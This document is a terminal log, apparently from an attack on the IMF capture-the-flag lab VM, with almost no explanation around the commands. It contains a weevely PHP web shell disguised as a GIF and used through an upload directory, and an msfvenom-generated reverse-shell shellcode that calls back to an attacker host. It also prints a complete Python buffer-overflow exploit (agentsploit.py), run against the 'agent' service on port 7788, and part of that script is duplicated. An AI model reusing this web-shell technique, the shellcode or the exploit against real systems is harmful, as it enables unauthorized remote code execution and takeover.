┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 192.168.32.175
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-18 05:04 EDT
Nmap scan report for 192.168.32.175
Host is up (0.00028s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:69:7C:06 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 105.01 seconds
─(root💀kali)-[/tmp]
└─# weevely generate 123456 shell.php
Generated 'shell.php' with password '123456' of 744 byte size.
┌──(root💀kali)-[/tmp]
└─# mv shell.php shell.gif
GIF89a3444
──(root💀kali)-[/tmp]
└─# weevely http://192.168.32.175/imfadministrator/uploads/edb0327e464d.gif 123456
[+] weevely 4.0.1
[+] Target: 192.168.32.175
[+] Session: /root/.weevely/sessions/192.168.32.175/edb0327e464d_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ls
edb0327e464d.gif
flag5_abc123def.txt
www-data@imf:/var/www/html/imfadministrator/uploads $
──(root💀kali)-[/tmp]
└─# gdb ./agent
GNU gdb (Debian 10.1-2+b1) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./agent...
(No debugging symbols found in ./agent)
(gdb) run
Starting program: /tmp/agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3
┌──(root💀kali)-[~]
└─# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
[*] Exact match at offset 168
┌──(root💀kali)-[~]
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.32.130 LPORT=9999 -f python -b "\x00\x0a\xod" 2 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
buf = b""
buf += b"\xba\xd3\xd4\x17\x4e\xdb\xd0\xd9\x74\x24\xf4\x5f\x33"
buf += b"\xc9\xb1\x12\x31\x57\x12\x83\xc7\x04\x03\x84\xda\xf5"
buf += b"\xbb\x1b\x38\x0e\xa0\x08\xfd\xa2\x4d\xac\x88\xa4\x22"
buf += b"\xd6\x47\xa6\xd0\x4f\xe8\x98\x1b\xef\x41\x9e\x5a\x87"
buf += b"\x91\xc8\xbd\xd5\x7a\x0b\xbe\xfe\x75\x82\x5f\xb0\xec"
buf += b"\xc4\xce\xe3\x43\xe7\x79\xe2\x69\x68\x2b\x8c\x1f\x46"
buf += b"\xbf\x24\x88\xb7\x10\xd6\x21\x41\x8d\x44\xe1\xd8\xb3"
buf += b"\xd8\x0e\x16\xb3"
┌──(root💀kali)-[~]
└─# cat agentsploit.py
#!/usr/bin/python
import time, struct, sys
import socket as so
#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell/reverse_tcp LPORT=4444 LHOST=192.168.56.102 -b "\x00\x0a\x0d" -f py
buf = b""
buf += b"\xba\xd3\xd4\x17\x4e\xdb\xd0\xd9\x74\x24\xf4\x5f\x33"
buf += b"\xc9\xb1\x12\x31\x57\x12\x83\xc7\x04\x03\x84\xda\xf5"
buf += b"\xbb\x1b\x38\x0e\xa0\x08\xfd\xa2\x4d\xac\x88\xa4\x22"
buf += b"\xd6\x47\xa6\xd0\x4f\xe8\x98\x1b\xef\x41\x9e\x5a\x87"
buf += b"\x91\xc8\xbd\xd5\x7a\x0b\xbe\xfe\x75\x82\x5f\xb0\xec"
buf += b"\xc4\xce\xe3\x43\xe7\x79\xe2\x69\x68\x2b\x8c\x1f\x46"
buf += b"\xbf\x24\x88\xb7\x10\xd6\x21\x41\x8d\x44\xe1\xd8\xb3"
buf += b"\xd8\x0e\x16\xb3"
#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))
buf +="\x63\x85\x04\x08\n"
try:
server = str(sys.argv[1])
port = int(sys.argv[2])
except IndexError:
print "[+] Usage example: python %s 192.168.56.103 7788" % sys.argv[0]
sys.exit()
#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to agent...."
try:
s.connect((server,port))
s.recv(1024)
s.send("48093572\n")
s.recv(1024)
s.send("3\n")
s.send(buf)
s.recv(1024)
print "\n[+] Completed."
except:
print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
sys.exit()
try:
server = str(sys.argv[1])
port = int(sys.argv[2])
except IndexError:
print "[+] Usage example: python %s 192.168.56.103 7788" % sys.argv[0]
sys.exit()
#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to agent...."
try:
s.connect((server,port))
s.recv(1024)
s.send("48093572\n")
s.recv(1024)
s.send("3\n")
s.send(buf)
s.recv(1024)
print "\n[+] Completed."
except:
print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
sys.exit()
┌──(root💀kali)-[~]
└─# python agentsploit.py 192.168.32.175 7788
[+] Attempting to send buffer overflow to agent....
[+] Completed.
[+] Attempting to send buffer overflow to agent....
[+] Completed.
